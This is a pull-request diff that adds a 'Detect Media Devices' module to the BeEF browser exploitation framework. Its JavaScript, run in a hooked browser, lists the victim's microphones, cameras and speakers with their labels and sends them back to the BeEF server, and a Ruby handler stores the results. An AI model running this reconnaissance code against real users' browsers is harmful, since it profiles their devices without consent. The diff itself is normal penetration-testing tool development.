Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
47 changes: 47 additions & 0 deletions modules/browser/detect_media_devices/command.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,47 @@
//
// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

beef.execute(function () {
if (typeof navigator.mediaDevices === 'undefined' ||
typeof navigator.mediaDevices.enumerateDevices !== 'function') {
beef.net.send("<%= @command_url %>", <%= @command_id %>,
"error=" + encodeURIComponent("API not available in this browser"),
beef.status.error());
return;
}

navigator.mediaDevices.enumerateDevices()
.then(function (devices) {
var result = {
audioinput: { count: 0, labels: [] },
audiooutput: { count: 0, labels: [] },
videoinput: { count: 0, labels: [] }
};
devices.forEach(function (device) {
if (result[device.kind]) {
result[device.kind].count++;
if (device.label) {
result[device.kind].labels.push(device.label);
}
}
});

var body =
"audioinput_count=" + result.audioinput.count +
"&audioinput_labels=" + encodeURIComponent(result.audioinput.labels.join(", ")) +
"&audiooutput_count=" + result.audiooutput.count +
"&audiooutput_labels=" + encodeURIComponent(result.audiooutput.labels.join(", ")) +
"&videoinput_count=" + result.videoinput.count +
"&videoinput_labels=" + encodeURIComponent(result.videoinput.labels.join(", "));

beef.net.send("<%= @command_url %>", <%= @command_id %>, body, beef.status.success());
})
.catch(function (err) {
beef.net.send("<%= @command_url %>", <%= @command_id %>,
"error=" + encodeURIComponent("Error: " + (err.message || String(err))),
beef.status.error());
});
});
16 changes: 16 additions & 0 deletions modules/browser/detect_media_devices/config.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
#
# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
detect_media_devices:
enable: true
category: "Browser"
name: "Detect Media Devices"
description: "This module enumerates media input/output devices (microphones, cameras, speakers) available to the hooked browser via navigator.mediaDevices.enumerateDevices()."
authors: ["Sethumadhavan", "bcoles"]
target:
not_working: ["IE"]
working: ["All"]
18 changes: 18 additions & 0 deletions modules/browser/detect_media_devices/module.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,18 @@
#
# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Detect_media_devices < BeEF::Core::Command
def post_execute
content = {}
content['audioinput_count'] = @datastore['audioinput_count'] unless @datastore['audioinput_count'].nil?
content['audioinput_labels'] = @datastore['audioinput_labels'] unless @datastore['audioinput_labels'].nil?
content['audiooutput_count'] = @datastore['audiooutput_count'] unless @datastore['audiooutput_count'].nil?
content['audiooutput_labels'] = @datastore['audiooutput_labels'] unless @datastore['audiooutput_labels'].nil?
content['videoinput_count'] = @datastore['videoinput_count'] unless @datastore['videoinput_count'].nil?
content['videoinput_labels'] = @datastore['videoinput_labels'] unless @datastore['videoinput_labels'].nil?
content['error'] = @datastore['error'] unless @datastore['error'].nil?
save content
end
end